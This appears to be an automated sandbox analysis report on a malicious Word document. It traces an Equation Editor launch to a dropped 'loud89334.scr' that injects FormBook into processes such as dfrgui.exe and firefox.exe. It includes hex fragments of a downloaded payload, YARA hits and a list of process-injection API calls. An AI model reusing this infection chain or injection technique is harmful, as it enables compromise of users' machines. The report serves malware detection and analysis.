\|o2{u. sz. sz({\|:(W}~n{(}}}{o{o&j{-{ o?Z(}}6{of{o{o*:(W}
2024-05-20 06:53:38 UTC	1369	IN	Data Raw: ac 00 00 04 16 6f 87 00 00 0a 74 59 00 00 02 17 7d f9 01 00 04 2a d6 02 7b ac 00 00 04 6f 82 00 00 0a 17 33 25 02 7b ac 00 00 04 16 6f 87 00 00 0a 75 87 00 00 02 2c 12 02 7b ac 00 00 04 16 6f 87 00 00 0a 74 87 00 00 02 2a 14 2a 3a 02 7b b0 00 00 04 03 6f 81 00 00 0a 26 2a ba 02 7e cd 02 00 04 72 32 1b 00 70 17 28 ca 0a 00 06 02 7e b5 00 00 04 7d b2 00 00 04 02 80 b6 00 00 04 02 7e b5 00 00 04 7d f4 06 00 04 2a aa 02 03 72 32 1b 00 70 17 28 ca 0a 00 06 02 04 7d b2 00 00 04 04 02 7d 93 05 00 04 02 04 7d f4 06 00 04 02 16 7d 73 04 00 04 2a 66 03 8e 2d 07 16 8c e0 00 00 01 2a 03 16 9a 28 86 03 00 06 8c e0 00 00 01 2a 3a 02 7b b2 00 00 04 16 16 73 77 01 00 06 2a 22 02 03 28 73 01 00 06 2a 3a 02 7b b2 00 00 04 03 17 73 77 01 00 06 2a 3a 02 7b b2 00 00 04 03 16 Data Ascii: otY}{o3%{ou,{ot:{o&~r2p(~}~}r2p(}}}}sf-(:{sw"(s:{sw*:{
2024-05-20 06:53:38 UTC	1369	IN	Data Raw: fe 03 2a 17 2a 72 02 7b 77 01 00 04 2d 12 02 7b 6e 01 00 04 75 44 00 00 02 14 fe 03 16 fe 01 2a 17 2a 2a 02 03 05 04 73 63 07 00 06 2a 1e 02 7b 90 01 00 04 2a 2a 02 03 1f 14 28 de 0a 00 06 2a 2a 02 03 1f 14 28 e3 0a 00 06 2a 2a 02 03 1f 14 28 e8 0a 00 06 2a 1e 02 28 f8 01 00 06 2a 1e 02 7b 8d 01 00 04 2a 1e 02 7b 92 01 00 04 2a 8a 02 7b 8f 01 00 04 6f d5 00 00 06 26 02 7b f5 06 00 04 74 52 01 00 02 7b e1 07 00 04 74 18 00 00 01 2a 9a 02 7b 8e 01 00 04 14 28 99 00 00 0a 2c 11 02 02 7b 8f 01 00 04 6f d5 01 00 06 7d 8e 01 00 04 02 7b 8e 01 00 04 2a 32 02 28 01 02 00 06 74 29 00 00 01 2a aa 02 7b 8f 01 00 04 75 78 00 00 02 2c 1b 02 7b 8f 01 00 04 6f d5 00 00 06 74 78 00 00 02 7b 61 02 00 04 6f c1 0b 00 06 2a 02 2a 8a 02 03 14 28 0c 02 00 06 03 7b b4 02 00 04 Data Ascii: r{w-{nuDsc{((*(({{{o&{tR{t{(,{o}{2(t){ux,{otx{ao**({
2024-05-20 06:53:38 UTC	1369	IN	Data Raw: 0d 00 06 2a 2e 28 dd 05 00 06 6f 16 0d 00 06 2a 2e 28 dd 05 00 06 6f 17 0d 00 06 2a 2e 28 dd 05 00 06 6f 18 0d 00 06 2a 2e 28 dd 05 00 06 6f 19 0d 00 06 2a 2e 28 dd 05 00 06 6f 1a 0d 00 06 2a 2e 28 dd 05 00 06 6f 1b 0d 00 06 2a 2e 28 dd 05 00 06 6f 1c 0d 00 06 2a 2e 28 dd 05 00 06 6f 1d 0d 00 06 2a 2e 28 dd 05 00 06 6f 1e 0d 00 06 2a 2e 28 dd 05 00 06 6f 1f 0d 00 06 2a 2e 28 dd 05 00 06 6f 20 0d 00 06 2a 2e 28 dd 05 00 06 6f 21 0d 00 06 2a 2e 28 dd 05 00 06 6f 22 0d 00 06 2a 2e 28 dd 05 00 06 6f 23 0d 00 06 2a 2e 28 dd 05 00 06 6f 24 0d 00 06 2a 2e 28 dd 05 00 06 6f 25 0d 00 06 2a 2e 28 dd 05 00 06 6f 26 0d 00 06 2a 2e 28 dd 05 00 06 6f 27 0d 00 06 2a 2e 28 dd 05 00 06 6f 28 0d 00 06 2a 2e 28 dd 05 00 06 6f 29 0d 00 06 2a 2e 28 dd 05 00 06 6f 2a 0d 00 06 Data Ascii: .(o.(o.(o.(o.(o.(o.(o.(o.(o.(o.(o .(o!.(o".(o#.(o$.(o%.(o&.(o'.(o(.(o).(o
2024-05-20 06:53:38 UTC	1369	IN	Data Raw: 00 06 2a 2e 28 dd 05 00 06 6f 88 0d 00 06 2a 2e 28 dd 05 00 06 6f 89 0d 00 06 2a 2e 28 dd 05 00 06 6f 8a 0d 00 06 2a 2e 28 dd 05 00 06 6f 8b 0d 00 06 2a 2e 28 dd 05 00 06 6f 8c 0d 00 06 2a 2e 28 dd 05 00 06 6f 8d 0d 00 06 2a 2e 28 dd 05 00 06 6f 8e 0d 00 06 2a 2e 28 dd 05 00 06 6f 8f 0d 00 06 2a 8e 02 28 57 00 00 0a 02 16 7d e3 01 00 04 02 16 7d e4 01 00 04 02 16 7d e5 01 00 04 02 14 7d e6 01 00 04 2a 0e 1f 12 2a 36 02 28 0a 03 00 06 03 6f 02 00 00 0a 2a 36 02 28 0a 03 00 06 03 6f 03 00 00 0a 2a 36 02 28 0a 03 00 06 03 6f 04 00 00 0a 2a 36 02 28 0a 03 00 06 03 6f 05 00 00 0a 2a 36 02 28 0a 03 00 06 03 6f 06 00 00 0a 2a 36 02 28 0a 03 00 06 03 6f 07 00 00 0a 2a 1e 02 6f 6b 00 00 0a 2a 36 02 28 0a 03 00 06 03 6f 08 00 00 0a 2a 36 02 28 0a 03 00 06 03 6f 09 Data Ascii: .(o.(o.(o.(o.(o.(o.(o.(o(W}}}}6(o6(o6(o6(o6(o6(ook6(o*6(o
2024-05-20 06:53:38 UTC	1369	IN	Data Raw: 28 e7 00 00 0a 2a e2 02 28 19 0c 00 06 2e 2e 02 28 c8 0b 00 06 2e 26 02 75 2d 01 00 02 2d 1e 02 75 20 00 00 02 2d 16 02 75 12 00 00 01 2c 0c 02 74 12 00 00 01 6f 96 00 00 0a 2a 16 2a 17 2a c2 02 28 c8 0b 00 06 2e 26 02 75 2d 01 00 02 2d 1e 02 75 20 00 00 02 2d 16 02 75 12 00 00 01 2c 0c 02 74 12 00 00 01 6f 96 00 00 0a 2a 16 2a 17 2a c2 02 75 2d 01 00 02 2d 26 02 28 19 0c 00 06 2e 1e 02 28 c8 0b 00 06 2e 16 02 75 12 00 00 01 2c 0c 02 74 12 00 00 01 6f 96 00 00 0a 2a 16 2a 17 2a 4e 02 75 20 00 00 02 2d 09 02 28 c8 0b 00 06 fe 01 2a 17 2a 2e 02 1b 59 1f 09 35 02 17 2a 16 2a f6 02 1f 09 59 45 05 00 00 00 0d 00 00 00 0d 00 00 00 0d 00 00 00 0d 00 00 00 0d 00 00 00 02 1f 20 2e 08 02 20 a0 00 00 00 33 02 17 2a 02 20 80 00 00 00 32 07 02 28 26 02 00 0a 2a 16 2a Data Ascii: ((..(.&u--u -u,to(.&u--u -u,tou--&(.(.u,toNu -(.Y5*YE . 3 2(&**
2024-05-20 06:53:38 UTC	1369	IN	Data Raw: 00 70 99 94 41 5a 03 58 2a e2 02 28 79 02 00 0a 2c 0a 23 00 00 00 00 00 00 f8 ff 2a 23 00 00 dc c2 08 b2 3e c3 02 35 10 02 23 00 00 dc c2 08 b2 3e 43 35 04 02 6a 6c 2a 23 00 00 00 00 00 00 f8 ff 2a 3e 02 2c 0a 02 75 ed 00 00 02 14 fe 03 2a 17 2a 26 02 20 80 00 00 00 fe 04 2a 72 1f 41 02 30 05 02 1f 5a 31 10 1f 61 02 30 09 02 1f 7a fe 02 16 fe 01 2a 16 2a 17 2a 42 1f 30 02 30 09 02 1f 39 fe 02 16 fe 01 2a 16 2a 1a 7e 30 02 00 04 2a 7e 02 75 62 00 00 02 2d 0b 20 8e 13 00 00 73 e7 06 00 06 7a 02 74 62 00 00 02 7b 1f 02 00 04 2a a6 02 75 62 00 00 02 2d 0b 20 8e 13 00 00 73 e7 06 00 06 7a 03 28 f9 03 00 06 10 01 02 74 62 00 00 02 03 7d 1f 02 00 04 03 2a 3e 02 2d 0b 72 a8 2c 00 70 73 42 04 00 06 7a 2a 2e 02 2d 07 03 73 42 04 00 06 7a 2a 2e 72 c8 2c 00 70 73 42 Data Ascii: pAZX(y,##>5#>C5jl#>,u*& rA0Z1a0z*B009~0~ub- sztb{ub- sz(tb}>-r,psBz.-sBz*.r,psB

Target ID:	0
Start time:	02:53:33
Start date:	20/05/2024
Path:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Imagebase:	0x13fe50000
File size:	1'423'704 bytes
MD5 hash:	9EE74859D22DAE61F1750B3A1BACB6F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	02:53:34
Start date:	20/05/2024
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543'304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:53:41
Start date:	20/05/2024
Path:	C:\Users\user\AppData\Roaming\loud89334.scr
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\loud89334.scr"
Imagebase:	0xab0000
File size:	1'273'344 bytes
MD5 hash:	ED7336086B1E5267C0D4863325956BE2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: MALWARE_Win_DLInjector02, Description: Detects downloader injector, Source: 00000005.00000002.370449287.0000000004C80000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 16%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:53:41
Start date:	20/05/2024
Path:	C:\Users\user\AppData\Roaming\loud89334.scr
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\loud89334.scr"
Imagebase:	0xab0000
File size:	1'273'344 bytes
MD5 hash:	ED7336086B1E5267C0D4863325956BE2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.407230568.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.407230568.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.407188357.0000000000190000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.407188357.0000000000190000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.407506842.0000000001090000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.407506842.0000000001090000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:53:56
Start date:	20/05/2024
Path:	C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe"
Imagebase:	0x1390000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	02:53:57
Start date:	20/05/2024
Path:	C:\Windows\SysWOW64\dfrgui.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\dfrgui.exe"
Imagebase:	0x390000
File size:	586'752 bytes
MD5 hash:	FB036244DBD2FADC225AD8650886B641
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.635052346.0000000000250000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000002.635052346.0000000000250000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.634933640.0000000000080000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000002.634933640.0000000000080000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.634993133.0000000000150000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000002.634993133.0000000000150000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	02:54:01
Start date:	20/05/2024
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543'304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	02:54:09
Start date:	20/05/2024
Path:	C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe"
Imagebase:	0x1390000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000C.00000002.635242428.0000000000A60000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000C.00000002.635242428.0000000000A60000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	02:54:31
Start date:	20/05/2024
Path:	C:\Program Files (x86)\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Mozilla Firefox\Firefox.exe"
Imagebase:	0x130000
File size:	517'064 bytes
MD5 hash:	C2D924CE9EA2EE3E7B7E6A7C476619CA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000E.00000002.479085527.0000000002AB0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000E.00000002.479085527.0000000002AB0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	35.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	27.8%
Total number of Nodes:	36
Total number of Limit Nodes:	1

Executed Functions

Function 00304090 Relevance: 1.9, Strings: 1, Instructions: 623
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(, xrefs: 00304850

Memory Dump Source

Source File: 00000005.00000002.369968397.0000000000300000.00000040.00000800.00020000.00000000.sdmp, Offset: 00300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_300000_loud89334.jbxd

Similarity

API ID:
String ID: (
API String ID: 0-3887548279
Opcode ID: ebe76ee9b92ad33c90f842acaa65ce89c17a78f6e00145931b1dfb8989a289d8
Instruction ID: cdda2115b56efda9913c2bec42c3a195c1a55e787985440a017544aaac8be1e7
Opcode Fuzzy Hash: ebe76ee9b92ad33c90f842acaa65ce89c17a78f6e00145931b1dfb8989a289d8
Instruction Fuzzy Hash: 7E52F274E012289FDB65DF65C894BEDBBB2BF89301F1481EAD409AB291DB345E85CF40

Function 00304BD0 Relevance: 1.7, APIs: 1, Instructions: 220
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 00304DA1

Memory Dump Source

Source File: 00000005.00000002.369968397.0000000000300000.00000040.00000800.00020000.00000000.sdmp, Offset: 00300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_300000_loud89334.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 4482ca1f6ecfd6a90ecf8b069c972e6b85f8cc0c00273c90ff568671c3659a87
Instruction ID: c8c8a10aafbfd93f1d1cfc191e71601f483eba75f02ab9785c550a3b63e07561
Opcode Fuzzy Hash: 4482ca1f6ecfd6a90ecf8b069c972e6b85f8cc0c00273c90ff568671c3659a87
Instruction Fuzzy Hash: 6881D1B4C01259DFDB21CFA9C954BDEBBB5BF09300F1491AAE508B7260DB709A89CF54

Function 00303C78 Relevance: 1.6, APIs: 1, Instructions: 116
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 00303D4B

Memory Dump Source

Source File: 00000005.00000002.369968397.0000000000300000.00000040.00000800.00020000.00000000.sdmp, Offset: 00300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_300000_loud89334.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 8b182611314d25f265c97d2a1892e9534d87a63e232dc04c29c0741d644f5832
Instruction ID: 4d4ec003eb9b770652219b73c3b19d79a3124ff6cbee78195bef34a33394e6ff
Opcode Fuzzy Hash: 8b182611314d25f265c97d2a1892e9534d87a63e232dc04c29c0741d644f5832
Instruction Fuzzy Hash: D241BBB4D012489FCF00CFA9D984AEEFBF1BB49314F20942AE814B7240C334AA45CF64

Function 00304FF9 Relevance: 1.6, APIs: 1, Instructions: 104
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 003050AD

Memory Dump Source

Source File: 00000005.00000002.369968397.0000000000300000.00000040.00000800.00020000.00000000.sdmp, Offset: 00300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_300000_loud89334.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 1da8b446029e777daa284b0e61fc00c122142f7c6763b4c74e3539fb21ba8dea
Instruction ID: c2b5d7d67bf009dea078e444788d2e7e5da6fa0b4a71a1fe5057210fd620a654
Opcode Fuzzy Hash: 1da8b446029e777daa284b0e61fc00c122142f7c6763b4c74e3539fb21ba8dea
Instruction Fuzzy Hash: A44178B9D052589FCF10CFAAD884AEEFBB1BB09310F24906AE814B7210D375A945CF64

Function 00303DC9 Relevance: 1.6, APIs: 1, Instructions: 103
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 00303E7A

Memory Dump Source

Source File: 00000005.00000002.369968397.0000000000300000.00000040.00000800.00020000.00000000.sdmp, Offset: 00300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_300000_loud89334.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 097f091fbbc7ef14c083773bcf5db89d9519ebf92e6027b8f5f458490e41a017
Instruction ID: ceda7ae92f2d043d022382515f6b971f90f680a567447cca2ba9279cf6e9c5ed
Opcode Fuzzy Hash: 097f091fbbc7ef14c083773bcf5db89d9519ebf92e6027b8f5f458490e41a017
Instruction Fuzzy Hash: 3F31ABB9D042489FCF10CFA9E984AEEFBB5AB49310F14942AE815B7350D335A945CF64

Function 00303DD0 Relevance: 1.6, APIs: 1, Instructions: 101
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 00303E7A

Memory Dump Source

Source File: 00000005.00000002.369968397.0000000000300000.00000040.00000800.00020000.00000000.sdmp, Offset: 00300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_300000_loud89334.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 3ed4f4ef1de438990e9e1fd84f064e80ca303481d64a6741b128affdd98c94e5
Instruction ID: 60d794aab43ff98cb703a4844cf27ea6a9565361898a746009b392822ef119e6
Opcode Fuzzy Hash: 3ed4f4ef1de438990e9e1fd84f064e80ca303481d64a6741b128affdd98c94e5
Instruction Fuzzy Hash: 7C3198B9D002589FCF10CFA9D984AEEFBB5BB49310F20942AE815B7350D735A945CF64

Function 00305000 Relevance: 1.6, APIs: 1, Instructions: 100
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 003050AD

Memory Dump Source

Source File: 00000005.00000002.369968397.0000000000300000.00000040.00000800.00020000.00000000.sdmp, Offset: 00300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_300000_loud89334.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 1a98716c90d508d3738971d9ade59f89831148df10ea129c50a48f9d56658138
Instruction ID: fa5093d8b3f5afd38bc799ffb1e3332d237ca4181e863bcd25693b9c28610325
Opcode Fuzzy Hash: 1a98716c90d508d3738971d9ade59f89831148df10ea129c50a48f9d56658138
Instruction Fuzzy Hash: A13167B9D052589FCF10CFAAD984ADEFBB5BB09310F24A02AE814B7310D375A945CF65

Function 00303B50 Relevance: 1.6, APIs: 1, Instructions: 94
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 00303BFF

Memory Dump Source

Source File: 00000005.00000002.369968397.0000000000300000.00000040.00000800.00020000.00000000.sdmp, Offset: 00300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_300000_loud89334.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 1f38af597364e92495039c82d4a3d0807eca4e356821c4d17d1af997307a1ff6
Instruction ID: de0ba98608f46f2cfa2c919517b5b25368c9fcb7001ad07565b3c3b09f3a3cf8
Opcode Fuzzy Hash: 1f38af597364e92495039c82d4a3d0807eca4e356821c4d17d1af997307a1ff6
Instruction Fuzzy Hash: 2E31BEB4D012589FDB10CFA9D984AEEFFF5AF49314F24842AE414B7240C778AA45CF54

Function 00303EE8 Relevance: 1.6, APIs: 1, Instructions: 75
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE(?), ref: 00303F6E

Memory Dump Source

Source File: 00000005.00000002.369968397.0000000000300000.00000040.00000800.00020000.00000000.sdmp, Offset: 00300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_300000_loud89334.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 3e727c409e5b59b34c9d99a4c66d9442b0d66a0c5d25e7311f417c54778d683f
Instruction ID: e1b1f13b7587874fbab98fbd9ddeb53bcbd9e403ef6e0c5ad4c2d3ad238b330f
Opcode Fuzzy Hash: 3e727c409e5b59b34c9d99a4c66d9442b0d66a0c5d25e7311f417c54778d683f
Instruction Fuzzy Hash: 8631FDB4D012089FCF10CFA9E884AEEFBB5AF49314F24942AE814B7350C734A905CF94

Function 00303EF0 Relevance: 1.6, APIs: 1, Instructions: 73
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE(?), ref: 00303F6E

Memory Dump Source

Source File: 00000005.00000002.369968397.0000000000300000.00000040.00000800.00020000.00000000.sdmp, Offset: 00300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_300000_loud89334.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 5a31488c42d6274b1cafce00008ee065b2d4238ef510c840381d66ae010d1b5e
Instruction ID: a1b2c1c3d2e7fbfeef0b1856f0f6ec2462105e34bcf1eb2071283aeb73871c00
Opcode Fuzzy Hash: 5a31488c42d6274b1cafce00008ee065b2d4238ef510c840381d66ae010d1b5e
Instruction Fuzzy Hash: AF31DDB4D012099FCF10CFA9D984AEEFBB5AF49314F20942AE814B7340C734A905CFA4

Function 001CD01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.369488511.00000000001CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 001CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1cd000_loud89334.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73422e038d2d0e4f5e722b536799c2fee7eedd662e0fb64731330d9af40bf056
Instruction ID: 2446ae9d3a612b1c349afd3d13331e462045d33a89eee71fd6583663ff162417
Opcode Fuzzy Hash: 73422e038d2d0e4f5e722b536799c2fee7eedd662e0fb64731330d9af40bf056
Instruction Fuzzy Hash: 2F21AF75604240AFDB15CF18E884F26BBA5EB94314F24C5BDE84A4B246C736D857CBA2

Function 001CD1E8 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.369488511.00000000001CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 001CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1cd000_loud89334.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36023491df9da8a9078c10d85df9045e2bbec03cf8f39f0be8ef2f95a87064f9
Instruction ID: 58189f79c820ca870d1064dd235c5fa615cd3ee1b32679d1bfa9e1b4fd50d757
Opcode Fuzzy Hash: 36023491df9da8a9078c10d85df9045e2bbec03cf8f39f0be8ef2f95a87064f9
Instruction Fuzzy Hash: BB21D0B5604240AFDB15CF54E8C4F26BBA5EBA4314F24C57DE8094B246C336D846CBA1

Function 001CD006 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.369488511.00000000001CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 001CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1cd000_loud89334.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2049c9f2fcaa8303ed86d1b6b569958068252656f0d092f716e8843d05b4d183
Instruction ID: 40243f35f3ee0dc20529e0be10ecde11bb68e2a8f454aea6b0cfb4c186990162
Opcode Fuzzy Hash: 2049c9f2fcaa8303ed86d1b6b569958068252656f0d092f716e8843d05b4d183
Instruction Fuzzy Hash: 4C2180755083809FDB02CF14D994B15BF71EB56314F28C5EAD8498F267C33AD85ACB62

Function 001CD1E3 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.369488511.00000000001CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 001CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1cd000_loud89334.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf97df7c3807292c182f1b7c3dfb3e406c11d3bc6a6cd3de1006cfbaae9c3a26
Instruction ID: b64302756f4487110dfa8dd33b82c787f1aa86ff9f7ae572158bd9090c7ef6e9
Opcode Fuzzy Hash: cf97df7c3807292c182f1b7c3dfb3e406c11d3bc6a6cd3de1006cfbaae9c3a26
Instruction Fuzzy Hash: 7A119D75504280DFDB12CF54E9C4B15BFA1FB94314F28C6AED8494B656C33AD84ACBA1

Analysis Process: loud89334.scrPID: 3120, Parent PID: 3088COMMON

Execution Graph

Execution Coverage:	1.6%
Dynamic/Decrypted Code Coverage:	2%
Signature Coverage:	14.6%
Total number of Nodes:	254
Total number of Limit Nodes:	27

Executed Functions

Function 0040B2E3 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 186
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
